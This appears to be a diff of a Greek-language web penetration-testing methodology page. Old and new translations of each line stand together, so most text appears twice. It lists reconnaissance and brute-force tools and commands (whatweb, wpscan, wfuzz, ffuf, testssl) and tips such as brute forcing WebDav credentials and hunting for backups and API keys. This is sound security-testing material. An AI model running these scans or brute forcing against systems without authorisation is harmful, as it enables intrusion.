Οι **HTTP headers and cookies of the response** μπορούν να είναι πολύ χρήσιμες για να **identify** τις **technologies** και/ή την **version** που χρησιμοποιείται. Το **Nmap scan** μπορεί να αναγνωρίσει την έκδοση του server, αλλά χρήσιμα μπορεί να είναι και τα εργαλεία [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ή [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Αναζήτηση **για** [**ευπάθειες της έκδοσης της web εφαρμογής**](../../generic-hacking/search-exploits.md)
### **Ελέγξτε αν υπάρχει WAF**
### **Έλεγχος αν υπάρχει κάποιος WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Τεχνικά κόλπα Web
### Κόλπα τεχνολογιών Web
Μερικά **κόλπα** για το **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
Μερικά **κόλπα** για **εντοπισμό ευπαθειών** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,19 +102,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_Λάβετε υπόψη ότι ο **ίδιος domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **υποτομείς**._\
Αν η **εφαρμογή web** χρησιμοποιεί κάποια από τις γνωστές **tech/platform listed before** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
_Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **πόρτες**, **φακέλους** και **υποτομείς**._\
Αν η web εφαρμογή χρησιμοποιεί κάποια γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **κάποια άλλη**, μην ξεχάσετε να **αναζητήσετε στο Internet** νέα κόλπα (και ενημερώστε με!).
### Ανασκόπηση Κώδικα Πηγής
### Επισκόπηση Πηγαίου Κώδικα
Εάν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, πέρα από το να πραγματοποιήσετε μόνοι σας ένα **White box test** της εφαρμογής, υπάρχει κάποια **πληροφορία** που θα μπορούσε να είναι **χρήσιμη** για το τρέχον **Black-Box testing**:
Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από το να κάνετε μόνοι σας έναν White box test της εφαρμογής, υπάρχουν **κάποιες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για το τρέχον **Black-Box testing**:
- Υπάρχει κάποιο αρχείο **Change-log ή Readme ή Version** ή οτιδήποτε με **πληροφορίες έκδοσης** προσβάσιμες μέσω web;
- Υπάρχει ένα **Change-log or Readme or Version** αρχείο ή κάτι με **πληροφορίες έκδοσης προσβάσιμες** μέσω web;
- Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (usernames ή passwords);
- Είναι οι **passwords** σε **plain text**, **encrypted** ή ποιος **hashing algorithm** χρησιμοποιείται;
- Χρησιμοποιεί κάποιο **master key** για την κρυπτογράφηση κάτι; Ποιος **algorithm** χρησιμοποιείται;
- Μπορείτε να **αποκτήσετε πρόσβαση σε κάποιο από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved and not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password** εισήχθη σε κάποιο παλιό commit)?
- Μπορείτε να **προσπελάσετε κάποια από αυτά τα αρχεία** εκμεταλλευόμενοι κάποια ευπάθεια;
- Υπάρχουν **ενδιαφέρουσες πληροφορίες στο github** (solved και not solved) **issues**; Ή στο **commit history** (ίσως κάποιο **password εισήχθη σε παλιό commit**)?
{{#ref}}
@ -137,10 +137,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### Σαρωτές CMS
Εάν χρησιμοποιείται CMS, μην ξεχάσετε να **τρέξετε έναν σαρωτή**, ίσως βρεθεί κάτι ενδιαφέρον:
Αν χρησιμοποιείται ένα CMS μην ξεχάσετε να **run a scanner**, ίσως βρεθεί κάτι ενδιαφέρον:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** websites for Security issues. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** ιστότοποι για θέματα ασφάλειας. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ή** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -150,7 +150,7 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Σε αυτό το σημείο θα πρέπει να έχετε ήδη κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν έχουν δοθεί δεδομένα) και μερικά κόλπα που να έχετε στο μυαλό σας κατά τη διάρκεια της δοκιμής. Αν είστε τυχεροί, ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner.
> Σε αυτό το σημείο θα πρέπει ήδη να έχετε κάποιες πληροφορίες για τον web server που χρησιμοποιεί ο client (αν υπάρχουν δεδομένα) και μερικά κόλπα που πρέπει να έχετε στο μυαλό σας κατά τη διάρκεια του test. Αν είστε τυχεροί ίσως έχετε βρει ένα CMS και έχετε τρέξει κάποιο scanner.
## Βήμα-βήμα Ανακάλυψη Web Εφαρμογής
@ -158,37 +158,37 @@ joomlavs.rb #https://github.com/rastating/joomlavs
### Αρχικοί έλεγχοι
**Προεπιλεγμένες σελίδες με χρήσιμες πληροφορίες:**
**Προεπιλεγμένες σελίδες με ενδιαφέρουσες πληροφορίες:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Έλεγχος επίσης για σχόλια στις κύριες και δευτερεύουσες σελίδες.
- Ελέγξτε επίσης τα σχόλια στις κύριες και δευτερεύουσες σελίδες.
**Πρόκληση σφαλμάτων**
Οι web servers μπορεί να **συμπεριφέρονται απρόβλεπτα** όταν αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή να οδηγήσει σε **αποκάλυψη ευαίσθητων πληροφοριών**.
Οι web servers μπορεί να **συμπεριφερθούν απρόβλεπτα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **vulnerabilities** ή να αποκαλύψει ευαίσθητες πληροφορίες.
- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[["** σε **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE
- Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** του **URL**
- Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Αν διαπιστώσετε ότι το **WebDav** είναι **enabled** αλλά δεν έχετε επαρκή permissions για **uploading files** στον root φάκελο δοκιμάστε:
Αν διαπιστώσετε ότι το **WebDav** είναι **ενεργοποιημένο** αλλά δεν έχετε αρκετά δικαιώματα για το **ανέβασμα αρχείων** στον root φάκελο δοκιμάστε:
- **Brute Force** credentials
- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. Ίσως έχετε δικαιώματα να ανεβάσετε αρχεία σε άλλους φακέλους.
- **Upload files** μέσω WebDav σε άλλα βρεθέντα folders μέσα στην ιστοσελίδα. Μπορεί να έχετε δικαιώματα να ανεβάσετε αρχεία σε αυτούς τους φακέλους.
### **SSL/TLS vulnerabilites**
- Αν η εφαρμογή **isn't forcing the user of HTTPS** σε κάποιο σημείο, τότε είναι **vulnerable to MitM**
- Αν η εφαρμογή **is sending sensitive data (passwords) using HTTP** τότε είναι υψηλή ευπάθεια.
- Αν η εφαρμογή **δεν αναγκάζει τη χρήση HTTPS** σε κανένα σημείο, τότε είναι **vulnerable to MitM**
- Αν η εφαρμογή **στέλνει ευαίσθητα δεδομένα (passwords) μέσω HTTP** τότε είναι υψηλή ευπάθεια.
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **ευπάθειες** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv) για επανέλεγχο των ευπαθειών:
Χρησιμοποιήστε [**testssl.sh**](https://github.com/drwetter/testssl.sh) για έλεγχο για **vulnerabilities** (Σε Bug Bounty προγράμματα πιθανότατα αυτού του είδους οι ευπάθειες δεν θα γίνουν δεκτές) και χρησιμοποιήστε [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -197,60 +197,60 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
Information about SSL/TLS vulnerabilities:
Πληροφορίες για SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Spidering
Εκκινήστε κάποιο είδος **spider** μέσα στον ιστό. Στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, πρέπει να χρησιμοποιηθεί web crawling και εξωτερικές πηγές για να βρεθούν όσο το δυνατόν περισσότερα έγκυρα paths.
Εκκινήστε κάποιο είδος **spider** στο web. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερα paths** από την εφαρμογή που δοκιμάζεται. Επομένως, web crawling και εξωτερικές πηγές πρέπει να χρησιμοποιηθούν για να εντοπιστούν όσο το δυνατόν περισσότερα έγκυρα paths.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS αρχεία και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS αρχεία και Archive.org ως εξωτερική πηγή.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, δείχνει επίσης "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Ψάχνει επίσης στο Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να φανεί χρήσιμο. Μπορείτε απλά να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες render JS. Φαίνεται όμως ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε JS files και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για JS files και Archive.org ως εξωτερική πηγή.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, επίσης επισημαίνει "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Επίσης ψάχνει στο Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε να δώσετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα κάνει fetch κάθε path σε κάθε host και θα αποθηκεύσει την απόκριση.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με JS rendering δυνατότητες. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προ-συμπιεσμένη έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
- [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameters και θα τα απαριθμήσει.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες render JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανό να ψάχνει νέα paths σε JS αρχεία. Αξίζει επίσης να ρίξετε μια ματιά σε [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από ενσωματωμένα javascript αρχεία. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να αναλύει relative URLs από JavaScript αρχεία. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρούμενο.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνες regular expressions για να βρει και να εξάγει relative URLs από minified αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS αρχεία χρησιμοποιώντας πολλά εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Εντοπίζει JS αρχεία.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και εκτυπώνει όλα τα urls που φορτώθηκαν για να φορτωθεί η σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει επιλογές από τα προηγούμενα εργαλεία.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει paths και params σε JS αρχεία.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Εργαλείο που, δεδομένου του .js.map URL, θα πάρει τον beautified JS κώδικα.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με parameter και θα τα καταγράψει.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με JS rendering δυνατότητες.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με JS beautify δυνατότητες ικανές να αναζητήσουν νέα paths σε JS files. Αξίζει επίσης να δείτε το [JSScanner](https://github.com/dark-warlord14/JSScanner), που είναι wrapper του LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Εξαγωγή endpoints τόσο από HTML source όσο και από embedded javascript files. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα python 2.7 script που χρησιμοποιεί Tornado και JSBeautifier για να κάνει parse relative URLs από JavaScript files. Χρήσιμο για εύκολη ανακάλυψη AJAX requests. Φαίνεται μη συντηρημένο.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs χρησιμοποιώντας καλοφτιαγμένα regular expressions για να βρει και να εξάγει relative URLs από ugly (minify) αρχεία.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συλλέγει ενδιαφέρουσες πληροφορίες από JS files χρησιμοποιώντας πολλά εργαλεία.
- [**subjs**](https://github.com/lc/subjs) (go): Βρίσκει JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώνει μια σελίδα σε headless browser και τυπώνει όλα τα urls που φορτώνονται για τη σελίδα.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool που συνδυάζει πολλές επιλογές από τα προηγούμενα εργαλεία.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια Burp extension για να βρει path και params σε JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που, δεδομένου του .js.map URL, θα σας φέρει τον beautified JS κώδικα.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Εργαλείο για ανακάλυψη endpoints για έναν στόχο.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (κατεβάζοντας επίσης τις απαντήσεις από το wayback και ψάχνοντας για περισσότερα links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρίσκει ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένα regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες ασφάλειας.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Πακέτο Go και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερόντων δεδομένων από JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι μια απλή **Burp Suite extension** για **εξαγωγή των paramters και endpoints** από τα requests για δημιουργία custom wordlist για fuzzing και enumeration.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύπτει links από το wayback machine (επίσης κατεβάζει τις αποκρίσεις στο wayback και ψάχνει για περισσότερα links).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας forms) και βρίσκει επίσης sensitive info χρησιμοποιώντας συγκεκριμένα regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα advanced multi-feature GUI web security Crawler/Spider σχεδιασμένο για cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα Go package και [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για εξαγωγή URLs, paths, secrets και άλλων ενδιαφερουσών πληροφοριών από JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge είναι ένα απλό **Burp Suite extension** για **εξαγωγή των parameters και endpoints** από τα requests για να δημιουργήσει custom wordlist για fuzzing και enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Εξαιρετικό εργαλείο για αυτό.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Εκτυπώνει κάθε link που μπορεί να βρει.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Τυπώνει κάθε link που μπορεί να βρει.
### Brute Force directories and files
Ξεκινήστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **καταλόγους που βρέθηκαν** χρησιμοποιώντας **αυτή τη μέθοδο** και όλους τους καταλόγους **που ανακαλύφθηκαν** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **αναδρομικά** και να προσθέσετε στην αρχή της wordlist τα ονόματα των φακέλων που βρέθηκαν).\
Αρχίστε το **brute-forcing** από τον root φάκελο και βεβαιωθείτε ότι θα brute-force **όλους** τους **directories** που βρέθηκαν χρησιμοποιώντας **this method** και όλους τους directories **ανακαλυφθέντες** από το **Spidering** (μπορείτε να κάνετε αυτό το brute-forcing **recursively** και να προσθέσετε στην αρχή της used wordlist τα ονόματα των φακέλων που βρέθηκαν).\
Εργαλεία:
- **Dirb** / **Dirbuster** - Περιλαμβάνονται στο Kali, **παλιά** (και **αργά**) αλλά λειτουργικά. Επιτρέπουν auto-signed certificates και recursive search. Πολύ αργά συγκριτικά με τις άλλες επιλογές.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** υποστηρίζει recursive search.
- **Dirb** / **Dirbuster** - Περιλαμβάνεται στο Kali, **παλιά** (και **αργή**) αλλά λειτουργική. Επιτρέπει auto-signed certificates και recursive search. Πολύ αργή σε σύγκριση με τις άλλες επιλογές.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Δεν επιτρέπει auto-signed certificates αλλά** επιτρέπει recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Επιτρέπει auto-signed certificates, δεν έχει **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δοθέντος της λίστας των βρεθέντων URLs, θα διαγράψει "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργήσει λίστα directories από το burp history διαφορετικών σελίδων.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με διπλότυπες λειτουργικότητες (με βάση js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να ανιχνεύσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις wordlists που θα χρησιμοποιηθούν.
- [**uro**](https://github.com/s0md3v/uro) (python): Αυτό δεν είναι spider αλλά ένα εργαλείο που, δεδομένης της λίστας με τα βρεθέντα URLs, θα διαγράψει "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension για να δημιουργεί λίστα directories από το burp history διαφορετικών σελίδων.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Αφαιρεί URLs με duplicated λειτουργικότητες (βασισμένο σε js imports).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Χρησιμοποιεί wapalyzer για να εντοπίσει τις τεχνολογίες που χρησιμοποιούνται και να επιλέξει τις κατάλληλες wordlists.
Συνιστώμενα dictionaries:
**Συνιστώμενα dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -269,41 +269,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας καινούριος κατάλογος κατά το brute-forcing ή το spidering, θα πρέπει να γίνεται Brute-Forced._
_Σημείωση ότι κάθε φορά που ανακαλύπτεται ένας νέος directory κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνεται Brute-Forced._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTML που μπορεί να είναι ευάλωτα σε takeover.
- **File Backups**: Μόλις βρείτε όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Συνηθισμένες παραλλαγές ονοματοδοσίας backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε τα εργαλεία [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να ψάξετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Βρείτε broken links μέσα σε HTMLs που μπορεί να είναι επιρρεπή σε takeovers
- **File Backups**: Μόλις έχετε βρει όλα τα αρχεία, ψάξτε για backups όλων των εκτελέσιμων αρχείων ("_.php_", "_.aspx_"...). Κοινές παραλλαγές ονομάτων backup είναι: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp και file.old._ Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**bfac**](https://github.com/mazen160/bfac) **ή** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Discover new parameters**: Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **και** [**Param Miner**](https://github.com/PortSwigger/param-miner) **για να ανακαλύψετε κρυφά parameters. Αν μπορείτε, δοκιμάστε να αναζητήσετε** κρυφά parameters σε κάθε εκτελέσιμο web αρχείο.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** Ελέγξτε τα comments όλων των αρχείων — μπορεί να βρείτε **credentials** ή **κρυφή λειτουργικότητα**.
- Αν παίζετε **CTF**, ένα "συνηθισμένο" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην βλέπετε τα δεδομένα όταν ανοίγετε τον source με τον browser). Άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλά νέα lines** και να **κρύψετε πληροφορίες** σε ένα comment στο **κάτω** μέρος της σελίδας.
- **API keys**: Αν **βρείτε κάποιο API key** υπάρχει οδηγός που δείχνει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- **Comments:** Ελέγξτε τα comments όλων των αρχείων, μπορεί να βρείτε **credentials** ή **hidden functionality**.
- Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύψετε** **πληροφορία** μέσα σε comments στα δεξιά της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **spaces** ώστε να μην φαίνεται το δεδομένο αν ανοίξετε τον source με τον browser). Άλλη πιθανότητα είναι να χρησιμοποιήσετε **αρκετά new lines** και να **κρύψετε πληροφορία** σε ένα comment στο **bottom** της σελίδας.
